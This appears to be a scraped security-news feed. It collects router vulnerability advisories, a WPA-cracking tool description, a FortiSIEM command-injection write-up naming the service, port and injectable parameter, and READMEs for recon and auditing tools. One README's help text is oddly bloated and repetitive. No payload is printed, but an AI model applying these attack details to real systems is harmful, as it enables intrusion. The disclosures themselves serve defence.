Normal view

There are new articles available, click to refresh the page.
Yesterday — 28 May 2024Main stream


23 May 2024 at 14:30

This vulnerability allows network-adjacent attackers to access or spoof DDNS messages on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the cmxddnsd executable. The issue results from reliance on obscurity to secure network data. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root.


23 May 2024 at 14:29

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the handling of DNS names. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a buffer. An attacker can leverage this vulnerability to execute code in the context of root.


23 May 2024 at 14:28

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the handling of DDNS error codes. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.

Pyrit - The Famous WPA Precomputed Cracker

Pyrit allows you to create massive databases of pre-computed WPA/WPA2-PSK authentication phase in a space-time-tradeoff. By using the computational power of Multi-Core CPUs and other platforms through ATI-Stream,Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.

WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from the master key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog (Outdated).

The author does not encourage or support using Pyrit for the infringement of peoples' communication-privacy. The exploration and realization of the technology discussed here motivate as a purpose of their own; this is documented by the open development, strictly sourcecode-based distribution and 'copyleft'-licensing.

Pyrit is free software - free as in freedom. Everyone can inspect, copy or modify it and share derived work under the GNU General Public License v3+. It compiles and executes on a wide variety of platforms including FreeBSD, MacOS X and Linux as operation-system and x86-, alpha-, arm-, hppa-, mips-, powerpc-, s390 and sparc-processors.

Attacking WPA/WPA2 by brute-force boils down to to computing Pairwise Master Keys as fast as possible. Every Pairwise Master Key is 'worth' exactly one megabyte of data getting pushed through PBKDF2-HMAC-SHA1. In turn, computing 10.000 PMKs per second is equivalent to hashing 9,8 gigabyte of data with SHA1 in one second.

These are examples of how multiple computational nodes can access a single storage server over various ways provided by Pyrit:

  • A single storage (e.g. a MySQL-server)
  • A local network that can access the storage-server directly and provide four computational nodes on various levels with only one node actually accessing the storage server itself.
  • Another, untrusted network can access the storage through Pyrit's RPC-interface and provides three computional nodes, two of which actually access the RPC-interface.

What's new

  • Fixed #479 and #481
  • Pyrit CUDA now compiles in OSX with Toolkit 7.5
  • Added use_CUDA and use_OpenCL in config file
  • Improved cores listing and managing
  • limit_ncpus now disables all CPUs when set to value <= 0
  • Improve CCMP packet identification, thanks to yannayl

See CHANGELOG file for a better description.

How to use

Pyrit compiles and runs fine on Linux, MacOS X and BSD. I don't care about Windows; drop me a line (read: patch) if you make Pyrit work without copying half of GNU ... A guide for installing Pyrit on your system can be found in the wiki. There is also a Tutorial and a reference manual for the commandline-client.

How to participate

You may want to read this wiki-entry if interested in porting Pyrit to new hardware-platform. Contributions or bug reports you should [submit an Issue] (https://github.com/JPaulMora/Pyrit/issues).

CVE-2024-23108: Fortinet FortiSIEM 2nd Order Command Injection Deep-Dive

28 May 2024 at 12:08

In November of 2023, preparing for a call for papers, I attempted to investigate the FortiSIEM patch for CVE-2023-34992. I kindly inquired with the PSIRT if I could have access to the most recent versions to some of their appliances to validate the patches, to which they declined. Acquiring access a different way, I eventually was able to analyze the patch.

While the patches for the original PSIRT issue, FG-IR-23-130, attempted to escape user-controlled inputs at this layer by adding the wrapShellToken() utility, there exists a second order command injection when certain parameters to datastore.py are sent. There exist two distinct vulnerabilities which were assigned CVE-2024-23108 and CVE-2024-23109, both with a CVSS3 score of 10.0, which allows remote, unauthenticated command execution as root. This blog will only cover the first, CVE-2024-23108, given they’re both patched in the same release.

CVE-2023-34992 Patch and Code Flow Analysis

In CVE-2023-34992, the phMonitor service on tcp/7900 was abused by sending it a handleStorageRequest message with a malicious server_ip value. When phMonitor received this message the specific command to be executed would be:
/usr/bin/python3.9 /opt/phoenix/deployment/jumpbox/datastore.py nfs test ‘<server_ip>’ ‘<mount_point>’ online. Inspecting the control flow of datastore.py for this type of request, we see that the server_ip field is validated by attempting to connect to the IP address.

Figure 1. datastore.py validating server_ip

After this, control is eventually passed to /opt/phoenix/deployment/jumpbox/datastore/nfs/test.py. Here, a call to __testMount() formats a call to os.system() on line 23, which derives the nfs_string value from our user-controlled mount_point payload value.

Figure 2. __testMount() calls os.system()

By formatting a request to the phMonitor client with a command type of 81, and the following payload, an unauthenticated attacker can achieve remote code execution as root.

Figure 3. Exploiting for reverse shell

The astute reader will notice that there is very little difference in the exploitation of the previous command injection, CVE-2023-34992, to this one, CVE-2024-23108, reported 6 months later.

Figure 4. CVE-2023-34992 vs CVE-2024-23108

Our proof of concept exploit can be found on our GitHub.

Indicators of Compromise

The logs for the phMonitor service will verbosely log many details of messages it receives and can be found at /opt/phoenix/logs/phoenix.log. Attempts to exploit CVE-2024-23108 will leave a log message containing a failed command with datastore.py nfs test. These lines should be inspected for malicious looking input.

Figure 5. Malicious commands logged


29 November 2023 – Reported CVE-2024-23108

30 November 2023 – Reported CVE-2024-23109

3 January 2024 – PSIRT reproduces issues

16 January 2024 – Fortinet silently fixes the issues in v7.1.2 build 0160 with no mention of the vulnerabilities, PSIRT releases, or CVEs published

31 January 2024 – Fortinet publicly “discloses” the issues by adding unpublished CVE IDs to the PSIRT released for CVE-2023-34992 6 months prior without adding a changelog entry

7 February 2024 – Fortinet publicly publishes the CVE IDs, but states they were duplicates published in error, and then states they were real

Sometime later in 2024 – Fortinet eventually adds a changelog entry to the PSIRT and adds CVE IDs to the release documents

28 May 2024 – This blog


Figure 6. NodeZero exploiting CVE-2024-23108 to load a remote access tool for post-exploitation activities

Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial





The post CVE-2024-23108: Fortinet FortiSIEM 2nd Order Command Injection Deep-Dive appeared first on Horizon3.ai.

Before yesterdayMain stream

Cache Me If You Can: Local Privilege Escalation in Zscaler Client Connector (CVE-2023-41973)

27 May 2024 at 12:01
A couple months ago, my colleague Winston Ho and I chained a series of unfortunate bugs into a zero-interaction local privilege escalation in Zscaler Client Connector. This was an interesting journey into Windows RPC caller validation and bypassing several checks, including Authenticode verification. Check out the original Medium blogpost for Winston’s own ZSATrayManager Arbitrary File Deletion (CVE-2023-41969)!

SherlockChain - A Streamlined AI Analysis Framework For Solidity, Vyper And Plutus Contracts

SherlockChain is a powerful smart contract analysis framework that combines the capabilities of the renowned Slither tool with advanced AI-powered features. Developed by a team of security experts and AI researchers, SherlockChain offers unparalleled insights and vulnerability detection for Solidity, Vyper and Plutus smart contracts.

Key Features

  • Comprehensive Vulnerability Detection: SherlockChain's suite of detectors identifies a wide range of vulnerabilities, including high-impact issues like reentrancy, unprotected upgrades, and more.
  • AI-Powered Analysis: Integrated AI models enhance the accuracy and precision of vulnerability detection, providing developers with actionable insights and recommendations.
  • Seamless Integration: SherlockChain seamlessly integrates with popular development frameworks like Hardhat, Foundry, and Brownie, making it easy to incorporate into your existing workflow.
  • Intuitive Reporting: SherlockChain generates detailed reports with clear explanations and code snippets, helping developers quickly understand and address identified issues.
  • Customizable Analyses: The framework's flexible API allows users to write custom analyses and detectors, tailoring the tool to their specific needs.
  • Continuous Monitoring: SherlockChain can be integrated into your CI/CD pipeline, providing ongoing monitoring and alerting for your smart contract codebase.


To install SherlockChain, follow these steps:

git clone https://github.com/0xQuantumCoder/SherlockChain.git
cd SherlockChain
pip install .

AI-Powered Features

SherlockChain's AI integration brings several advanced capabilities to the table:

  1. Intelligent Vulnerability Prioritization: AI models analyze the context and potential impact of detected vulnerabilities, providing developers with a prioritized list of issues to address.
  2. Automated Remediation Suggestions: The AI component suggests potential fixes and code modifications to address identified vulnerabilities, accelerating the remediation process.
  3. Proactive Security Auditing: SherlockChain's AI models continuously monitor your codebase, proactively identifying emerging threats and providing early warning signals.
  4. Natural Language Interaction: Users can interact with SherlockChain using natural language, allowing them to query the tool, request specific analyses, and receive detailed responses. he --help command in the SherlockChain framework provides a comprehensive overview of all the available options and features. It includes information on:

  5. Vulnerability Detection: The --detect and --exclude-detectors options allow users to specify which vulnerability detectors to run, including both built-in and AI-powered detectors.

  6. Reporting: The --report-format, --report-output, and various --report-* options control how the analysis results are reported, including the ability to generate reports in different formats (JSON, Markdown, SARIF, etc.).
  7. Filtering: The --filter-* options enable users to filter the reported issues based on severity, impact, confidence, and other criteria.
  8. AI Integration: The --ai-* options allow users to configure and control the AI-powered features of SherlockChain, such as prioritizing high-impact vulnerabilities, enabling specific AI detectors, and managing AI model configurations.
  9. Integration with Development Frameworks: Options like --truffle and --truffle-build-directory facilitate the integration of SherlockChain into popular development frameworks like Truffle.
  10. Miscellaneous Options: Additional options for compiling contracts, listing detectors, and customizing the analysis process.

The --help command provides a detailed explanation of each option, its purpose, and how to use it, making it a valuable resource for users to quickly understand and leverage the full capabilities of the SherlockChain framework.

Example usage:

sherlockchain --help

This will display the comprehensive usage guide for the SherlockChain framework, including all available options and their descriptions.

usage: sherlockchain [-h] [--version] [--solc-remaps SOLC_REMAPS] [--solc-settings SOLC_SETTINGS]
[--solc-version SOLC_VERSION] [--truffle] [--truffle-build-directory TRUFFLE_BUILD_DIRECTORY]
[--truffle-config-file TRUFFLE_CONFIG_FILE] [--compile] [--list-detectors]
[--list-detectors-info] [--detect DETECTORS] [--exclude-detectors EXCLUDE_DETECTORS]
[--print-issues] [--json] [--markdown] [--sarif] [--text] [--zip] [--output OUTPUT]
[--filter-paths FILTER_PATHS] [--filter-paths-exclude FILTER_PATHS_EXCLUDE]
[--filter-contracts FILTER_CONTRACTS] [--filter-contracts-exclude FILTER_CONTRACTS_EXCLUDE]
[--filter-severity FILTER_SEVERITY] [--filter-impact FILTER_IMPACT]
[--filter-confidence FILTER_CONFIDENCE] [--filter-check-suicidal]
[--filter-check-upgradeable] [--f ilter-check-erc20] [--filter-check-erc721]
[--filter-check-reentrancy] [--filter-check-gas-optimization] [--filter-check-code-quality]
[--filter-check-best-practices] [--filter-check-ai-detectors] [--filter-check-all]
[--filter-check-none] [--check-all] [--check-suicidal] [--check-upgradeable]
[--check-erc20] [--check-erc721] [--check-reentrancy] [--check-gas-optimization]
[--check-code-quality] [--check-best-practices] [--check-ai-detectors] [--check-none]
[--check-all-detectors] [--check-all-severity] [--check-all-impact] [--check-all-confidence]
[--check-all-categories] [--check-all-filters] [--check-all-options] [--check-all]
[--check-none] [--report-format {json,markdown,sarif,text,zip}] [--report-output OUTPUT]
[--report-severity REPORT_SEVERITY] [--report-impact R EPORT_IMPACT]
[--report-confidence REPORT_CONFIDENCE] [--report-check-suicidal]
[--report-check-upgradeable] [--report-check-erc20] [--report-check-erc721]
[--report-check-reentrancy] [--report-check-gas-optimization] [--report-check-code-quality]
[--report-check-best-practices] [--report-check-ai-detectors] [--report-check-all]
[--report-check-none] [--report-all] [--report-suicidal] [--report-upgradeable]
[--report-erc20] [--report-erc721] [--report-reentrancy] [--report-gas-optimization]
[--report-code-quality] [--report-best-practices] [--report-ai-detectors] [--report-none]
[--report-all-detectors] [--report-all-severity] [--report-all-impact]
[--report-all-confidence] [--report-all-categories] [--report-all-filters]
[--report-all-options] [- -report-all] [--report-none] [--ai-enabled] [--ai-disabled]
[--ai-priority-high] [--ai-priority-medium] [--ai-priority-low] [--ai-priority-all]
[--ai-priority-none] [--ai-confidence-high] [--ai-confidence-medium] [--ai-confidence-low]
[--ai-confidence-all] [--ai-confidence-none] [--ai-detectors-all] [--ai-detectors-none]
[--ai-detectors-specific AI_DETECTORS_SPECIFIC] [--ai-detectors-exclude AI_DETECTORS_EXCLUDE]
[--ai-models-path AI_MODELS_PATH] [--ai-models-update] [--ai-models-download]
[--ai-models-list] [--ai-models-info] [--ai-models-version] [--ai-models-check]
[--ai-models-upgrade] [--ai-models-remove] [--ai-models-clean] [--ai-models-reset]
[--ai-models-backup] [--ai-models-restore] [--ai-models-export] [--ai-models-import]
[--ai-models-config AI_MODELS_CONFIG] [--ai-models-config-update] [--ai-models-config-reset]
[--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-list]
[--ai-models-config-info] [--ai-models-config-version] [--ai-models-config-check]
[--ai-models-config-upgrade] [--ai-models-config-remove] [--ai-models-config-clean]
[--ai-models-config-reset] [--ai-models-config-backup] [--ai-models-config-restore]
[--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-path AI_MODELS_CONFIG_PATH]
[--ai-models-config-file AI_MODELS_CONFIG_FILE] [--ai-models-config-url AI_MODELS_CONFIG_URL]
[--ai-models-config-name AI_MODELS_CONFIG_NAME] [--ai-models-config-description AI_MODELS_CONFIG_DESCRIPTION]
[--ai-models-config-version-major AI_MODELS_CONFIG_VERSION_MAJOR]
[--ai-models-config- version-minor AI_MODELS_CONFIG_VERSION_MINOR]
[--ai-models-config-version-patch AI_MODELS_CONFIG_VERSION_PATCH]
[--ai-models-config-author AI_MODELS_CONFIG_AUTHOR]
[--ai-models-config-license AI_MODELS_CONFIG_LICENSE]
[--ai-models-config-url-documentation AI_MODELS_CONFIG_URL_DOCUMENTATION]
[--ai-models-config-url-source AI_MODELS_CONFIG_URL_SOURCE]
[--ai-models-config-url-issues AI_MODELS_CONFIG_URL_ISSUES]
[--ai-models-config-url-changelog AI_MODELS_CONFIG_URL_CHANGELOG]
[--ai-models-config-url-support AI_MODELS_CONFIG_URL_SUPPORT]
[--ai-models-config-url-website AI_MODELS_CONFIG_URL_WEBSITE]
[--ai-models-config-url-logo AI_MODELS_CONFIG_URL_LOGO]
[--ai-models-config-url-icon AI_MODELS_CONFIG_URL_ICON]
[--ai-models-config-url-banner AI_MODELS_CONFIG_URL_BANNER]
[--ai-models-config-url-screenshot AI_MODELS_CONFIG_URL_SCREENSHOT]
[--ai-models-config-url-video AI_MODELS_CONFIG_URL_VIDEO]
[--ai-models-config-url-demo AI_MODELS_CONFIG_URL_DEMO]
[--ai-models-config-url-documentation-api AI_MODELS_CONFIG_URL_DOCUMENTATION_API]
[--ai-models-config-url-documentation-user AI_MODELS_CONFIG_URL_DOCUMENTATION_USER]
[--ai-models-config-url-documentation-developer AI_MODELS_CONFIG_URL_DOCUMENTATION_DEVELOPER]
[--ai-models-config-url-documentation-faq AI_MODELS_CONFIG_URL_DOCUMENTATION_FAQ]
[--ai-models-config-url-documentation-tutorial AI_MODELS_CONFIG_URL_DOCUMENTATION_TUTORIAL]
[--ai-models-config-url-documentation-guide AI_MODELS_CONFIG_URL_DOCUMENTATION_GUIDE]
[--ai-models-config-url-documentation-whitepaper AI_MODELS_CONFIG_URL_DOCUMENTATION_WHITEPAPER]
[--ai-models-config-url-documentation-roadmap AI_MODELS_CONFIG_URL_DOCUMENTATION_ROADMAP]
[--ai-models-config-url-documentation-blog AI_MODELS_CONFIG_URL_DOCUMENTATION_BLOG]
[--ai-models-config-url-documentation-community AI_MODELS_CONFIG_URL_DOCUMENTATION_COMMUNITY]

This comprehensive usage guide provides information on all the available options and features of the SherlockChain framework, including:

  • Vulnerability detection options: --detect, --exclude-detectors
  • Reporting options: --report-format, --report-output, --report-*
  • Filtering options: --filter-*
  • AI integration options: --ai-*
  • Integration with development frameworks: --truffle, --truffle-build-directory
  • Miscellaneous options: --compile, --list-detectors, --list-detectors-info

By reviewing this comprehensive usage guide, you can quickly understand how to leverage the full capabilities of the SherlockChain framework to analyze your smart contracts and identify potential vulnerabilities. This will help you ensure the security and reliability of your DeFi protocol before deployment.

AI-Powered Detectors

Num Detector What it Detects Impact Confidence
1 ai-anomaly-detection Detect anomalous code patterns using advanced AI models High High
2 ai-vulnerability-prediction Predict potential vulnerabilities using machine learning High High
3 ai-code-optimization Suggest code optimizations based on AI-driven analysis Medium High
4 ai-contract-complexity Assess contract complexity and maintainability using AI Medium High
5 ai-gas-optimization Identify gas-optimizing opportunities with AI Medium Medium
## Detectors
Num Detector What it Detects Impact Confidence
1 abiencoderv2-array Storage abiencoderv2 array High High
2 arbitrary-send-erc20 transferFrom uses arbitrary from High High
3 array-by-reference Modifying storage array by value High High
4 encode-packed-collision ABI encodePacked Collision High High
5 incorrect-shift The order of parameters in a shift instruction is incorrect. High High
6 multiple-constructors Multiple constructor schemes High High
7 name-reused Contract's name reused High High
8 protected-vars Detected unprotected variables High High
9 public-mappings-nested Public mappings with nested variables High High
10 rtlo Right-To-Left-Override control character is used High High
11 shadowing-state State variables shadowing High High
12 suicidal Functions allowing anyone to destruct the contract High High
13 uninitialized-state Uninitialized state variables High High
14 uninitialized-storage Uninitialized storage variables High High
15 unprotected-upgrade Unprotected upgradeable contract High High
16 codex Use Codex to find vulnerabilities. High Low
17 arbitrary-send-erc20-permit transferFrom uses arbitrary from with permit High Medium
18 arbitrary-send-eth Functions that send Ether to arbitrary destinations High Medium
19 controlled-array-length Tainted array length assignment High Medium
20 controlled-delegatecall Controlled delegatecall destination High Medium
21 delegatecall-loop Payable functions using delegatecall inside a loop High Medium
22 incorrect-exp Incorrect exponentiation High Medium
23 incorrect-return If a return is incorrectly used in assembly mode. High Medium
24 msg-value-loop msg.value inside a loop High Medium
25 reentrancy-eth Reentrancy vulnerabilities (theft of ethers) High Medium
26 return-leave If a return is used instead of a leave. High Medium
27 storage-array Signed storage integer array compiler bug High Medium
28 unchecked-transfer Unchecked tokens transfer High Medium
29 weak-prng Weak PRNG High Medium
30 domain-separator-collision Detects ERC20 tokens that have a function whose signature collides with EIP-2612's DOMAIN_SEPARATOR() Medium High
31 enum-conversion Detect dangerous enum conversion Medium High
32 erc20-interface Incorrect ERC20 interfaces Medium High
33 erc721-interface Incorrect ERC721 interfaces Medium High
34 incorrect-equality Dangerous strict equalities Medium High
35 locked-ether Contracts that lock ether Medium High
36 mapping-deletion Deletion on mapping containing a structure Medium High
37 shadowing-abstract State variables shadowing from abstract contracts Medium High
38 tautological-compare Comparing a variable to itself always returns true or false, depending on comparison Medium High
39 tautology Tautology or contradiction Medium High
40 write-after-write Unused write Medium High
41 boolean-cst Misuse of Boolean constant Medium Medium
42 constant-function-asm Constant functions using assembly code Medium Medium
43 constant-function-state Constant functions changing the state Medium Medium
44 divide-before-multiply Imprecise arithmetic operations order Medium Medium
45 out-of-order-retryable Out-of-order retryable transactions Medium Medium
46 reentrancy-no-eth Reentrancy vulnerabilities (no theft of ethers) Medium Medium
47 reused-constructor Reused base constructor Medium Medium
48 tx-origin Dangerous usage of tx.origin Medium Medium
49 unchecked-lowlevel Unchecked low-level calls Medium Medium
50 unchecked-send Unchecked send Medium Medium
51 uninitialized-local Uninitialized local variables Medium Medium
52 unused-return Unused return values Medium Medium
53 incorrect-modifier Modifiers that can return the default value Low High
54 shadowing-builtin Built-in symbol shadowing Low High
55 shadowing-local Local variables shadowing Low High
56 uninitialized-fptr-cst Uninitialized function pointer calls in constructors Low High
57 variable-scope Local variables used prior their declaration Low High
58 void-cst Constructor called not implemented Low High
59 calls-loop Multiple calls in a loop Low Medium
60 events-access Missing Events Access Control Low Medium
61 events-maths Missing Events Arithmetic Low Medium
62 incorrect-unary Dangerous unary expressions Low Medium
63 missing-zero-check Missing Zero Address Validation Low Medium
64 reentrancy-benign Benign reentrancy vulnerabilities Low Medium
65 reentrancy-events Reentrancy vulnerabilities leading to out-of-order Events Low Medium
66 return-bomb A low level callee may consume all callers gas unexpectedly. Low Medium
67 timestamp Dangerous usage of block.timestamp Low Medium
68 assembly Assembly usage Informational High
69 assert-state-change Assert state change Informational High
70 boolean-equal Comparison to boolean constant Informational High
71 cyclomatic-complexity Detects functions with high (> 11) cyclomatic complexity Informational High
72 deprecated-standards Deprecated Solidity Standards Informational High
73 erc20-indexed Un-indexed ERC20 event parameters Informational High
74 function-init-state Function initializing state variables Informational High
75 incorrect-using-for Detects using-for statement usage when no function from a given library matches a given type Informational High
76 low-level-calls Low level calls Informational High
77 missing-inheritance Missing inheritance Informational High
78 naming-convention Conformity to Solidity naming conventions Informational High
79 pragma If different pragma directives are used Informational High
80 redundant-statements Redundant statements Informational High
81 solc-version Incorrect Solidity version Informational High
82 unimplemented-functions Unimplemented functions Informational High
83 unused-import Detects unused imports Informational High
84 unused-state Unused state variables Informational High
85 costly-loop Costly operations in a loop Informational Medium
86 dead-code Functions that are not used Informational Medium
87 reentrancy-unlimited-gas Reentrancy vulnerabilities through send and transfer Informational Medium
88 similar-names Variable names are too similar Informational Medium
89 too-many-digits Conformance to numeric notation best practices Informational Medium
90 cache-array-length Detects for loops that use length member of some storage array in their loop condition and don't modify it. Optimization High
91 constable-states State variables that could be declared constant Optimization High
92 external-function Public function that could be declared external Optimization High
93 immutable-states State variables that could be declared immutable Optimization High
94 var-read-using-this Contract reads its own variable using this Optimization High

Integrating DigitalOcean into ScoutSuite

27 May 2024 at 09:00

We are excited to announce the addition of a new provider in our open-source, multi-cloud auditing tool ScoutSuite (on GitHub)!

In April, we received a remarkable pull request from Asif Wani, Product Security Lead at DigitalOcean APAC, to integrate DigitalOcean services into ScoutSuite. After reviewing the request, NCC Group not only accepted his proposal, but also expanded it with new rules and services.

This new feature is currently included in the last version 5.14.0, adding DigitalOcean as a new cloud provider with twenty-eight new rules based in the hardening features provided by DigitalOcean.

The most significant changes are:


  • Added support for DigitalOcean


  • Added new rules for managed databases
  • Added new rules for droplets
  • Added new rules for networking devices such as Load Balancers, Firewalls or DNS entries.
  • Added new rules for Space Objects (buckets)
  • Added new rules for managed Kubernetes clusters

Check out the Github page and the Wiki documentation for more information about ScoutSuite.

We would like to express our gratitude to all our contributors:


Domainim - A Fast And Comprehensive Tool For Organizational Network Scanning

Domainim is a fast domain reconnaissance tool for organizational network scanning. The tool aims to provide a brief overview of an organization's structure using techniques like OSINT, bruteforcing, DNS resolving etc.


Current features (v1.0.1)- - Subdomain enumeration (2 engines + bruteforcing) - User-friendly output - Resolving A records (IPv4)

A fast and comprehensive tool for organizational network scanning (6)

A fast and comprehensive tool for organizational network scanning (7)

  • Virtual hostname enumeration
  • Reverse DNS lookup

A fast and comprehensive tool for organizational network scanning (8)

  • Detects wildcard subdomains (for bruteforcing)

A fast and comprehensive tool for organizational network scanning (9)

  • Basic TCP port scanning
  • Subdomains are accepted as input

A fast and comprehensive tool for organizational network scanning (10)

  • Export results to JSON file

A fast and comprehensive tool for organizational network scanning (11)

A few features are work in progress. See Planned features for more details.

The project is inspired by Sublist3r. The port scanner module is heavily based on NimScan.


You can build this repo from source- - Clone the repository

git clone [email protected]:pptx704/domainim
  • Build the binary
nimble build
  • Run the binary
./domainim <domain> [--ports=<ports>]

Or, you can just download the binary from the release page. Keep in mind that the binary is tested on Debian based systems only.


./domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
  • <domain> is the domain to be enumerated. It can be a subdomain as well.
  • -- ports | -p is a string speicification of the ports to be scanned. It can be one of the following-
  • all - Scan all ports (1-65535)
  • none - Skip port scanning (default)
  • t<n> - Scan top n ports (same as nmap). i.e. t100 scans top 100 ports. Max value is 5000. If n is greater than 5000, it will be set to 5000.
  • single value - Scan a single port. i.e. 80 scans port 80
  • range value - Scan a range of ports. i.e. 80-100 scans ports 80 to 100
  • comma separated values - Scan multiple ports. i.e. 80,443,8080 scans ports 80, 443 and 8080
  • combination - Scan a combination of the above. i.e. 80,443,8080-8090,t500 scans ports 80, 443, 8080 to 8090 and top 500 ports
  • --dns | -d is the address of the dns server. This should be a valid IPv4 address and can optionally contain the port number-
  • a.b.c.d - Use DNS server at a.b.c.d on port 53
  • a.b.c.d#n - Use DNS server at a.b.c.d on port e
  • --wordlist | -l - Path to the wordlist file. This is used for bruteforcing subdomains. If the file is invalid, bruteforcing will be skipped. You can get a wordlist from SecLists. A wordlist is also provided in the release page.
  • --rps | -r - Number of requests to be made per second during bruteforce. The default value is 1024 req/s. It is to be noted that, DNS queries are made in batches and next batch is made only after the previous one is completed. Since quries can be rate limited, increasing the value does not always guarantee faster results.
  • --out | -o - Path to the output file. The output will be saved in JSON format. The filename must end with .json.

Examples - ./domainim nmap.org --ports=all - ./domainim google.com --ports=none --dns= - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --rps=1500 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --outfile=results.json - ./domainim mysite.com --ports=t50,5432,7000-9000 --dns=

The help menu can be accessed using ./domainim --help or ./domainim -h.

domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
domainim (-h | --help)

-h, --help Show this screen.
-p, --ports Ports to scan. [default: `none`]
Can be `all`, `none`, `t<n>`, single value, range value, combination
-l, --wordlist Wordlist for subdomain bruteforcing. Bruteforcing is skipped for invalid file.
-d, --dns IP and Port for DNS Resolver. Should be a valid IPv4 with an optional port [default: system default]
-r, --rps DNS queries to be made per second [default: 1024 req/s]
-o, --out JSON file where the output will be saved. Filename must end with `.json`

domainim domainim.com -p:t500 -l:wordlist.txt --dns: --out=results.json
domainim sub.domainim.com --ports=all --dns: -t:1500 -o:results.json

The JSON schema for the results is as follows-

"subdomain": string,
"data": [
"ipv4": string,
"vhosts": [string],
"reverse_dns": string,
"ports": [int]

Example json for nmap.org can be found here.


Contributions are welcome. Feel free to open a pull request or an issue.

Planned Features

  • [x] TCP port scanning
  • [ ] UDP port scanning support
  • [ ] Resolve AAAA records (IPv6)
  • [x] Custom DNS server
  • [x] Add bruteforcing subdomains using a wordlist
  • [ ] Force bruteforcing (even if wildcard subdomain is found)
  • [ ] Add more engines for subdomain enumeration
  • [x] File output (JSON)
  • [ ] Multiple domain enumeration
  • [ ] Dir and File busting


  • [x] Update verbose output when encountering errors (v0.2.0)
  • [x] Show progress bar for longer operations
  • [ ] Add individual port scan progress bar
  • [ ] Add tests
  • [ ] Add comments and docstrings

Additional Notes

This project is still in its early stages. There are several limitations I am aware of.

The two engines I am using (I'm calling them engine because Sublist3r does so) currently have some sort of response limit. dnsdumpster.com">dnsdumpster can fetch upto 100 subdomains. crt.sh also randomizes the results in case of too many results. Another issue with crt.sh is the fact that it returns some SQL error sometimes. So for some domain, results can be different for different runs. I am planning to add more engines in the future (at least a brute force engine).

The port scanner has only ping response time + 750ms timeout. This might lead to false negatives. Since, domainim is not meant for port scanning but to provide a quick overview, such cases are acceptable. However, I am planning to add a flag to increase the timeout. For the same reason, filtered ports are not shown. For more comprehensive port scanning, I recommend using Nmap. Domainim also doesn't bypass rate limiting (if there is any).

It might seem that the way vhostnames are printed, it just brings repeition on the table.

A fast and comprehensive tool for organizational network scanning (12)

Printing as the following might've been better-

ack.nmap.org, issues.nmap.org, nmap.org, research.nmap.org, scannme.nmap.org, svn.nmap.org, www.nmap.org
↳ Reverse DNS: ack.nmap.org.

But previously while testing, I found cases where not all IPs are shared by same set of vhostnames. That is why I decided to keep it this way.

A fast and comprehensive tool for organizational network scanning (13)

DNS server might have some sort of rate limiting. That's why I added random delays (between 0-300ms) for IPv4 resolving per query. This is to not make the DNS server get all the queries at once but rather in a more natural way. For bruteforcing method, the value is between 0-1000ms by default but that can be changed using --rps | -t flag.

One particular limitation that is bugging me is that the DNS resolver would not return all the IPs for a domain. So it is necessary to make multiple queries to get all (or most) of the IPs. But then again, it is not possible to know how many IPs are there for a domain. I still have to come up with a solution for this. Also, nim-ndns doesn't support CNAME records. So, if a domain has a CNAME record, it will not be resolved. I am waiting for a response from the author for this.

For now, bruteforcing is skipped if a possible wildcard subdomain is found. This is because, if a domain has a wildcard subdomain, bruteforcing will resolve IPv4 for all possible subdomains. However, this will skip valid subdomains also (i.e. scanme.nmap.org will be skipped even though it's not a wildcard value). I will add a --force-brute | -fb flag later to force bruteforcing.

Similar thing is true for VHost enumeration for subdomain inputs. Since, urls that ends with given subdomains are returned, subdomains of similar domains are not considered. For example, scannme.nmap.org will not be printed for ack.nmap.org but something.ack.nmap.org might be. I can search for all subdomains of nmap.org but that defeats the purpose of having a subdomains as an input.


MIT License. See LICENSE for full text.

JA4+ - Suite Of Network Fingerprinting Standards

JA4+ is a suite of network Fingerprinting methods that are easy to use and easy to share. These methods are both human and machine readable to facilitate more effective threat-hunting and analysis. The use-cases for these fingerprints include scanning for threat actors, malware detection, session hijacking prevention, compliance automation, location tracking, DDoS detection, grouping of threat actors, reverse shell detection, and many more.

Please read our blogs for details on how JA4+ works, why it works, and examples of what can be detected/prevented with it:
JA4+ Network Fingerprinting (JA4/S/H/L/X/SSH)
JA4T: TCP Fingerprinting (JA4T/TS/TScan)

To understand how to read JA4+ fingerprints, see Technical Details

This repo includes JA4+ Python, Rust, Zeek and C, as a Wireshark plugin.

JA4/JA4+ support is being added to:
GoLang (JA4X)
Netresec's CapLoader
NetworkMiner">Netresec's NetworkMiner
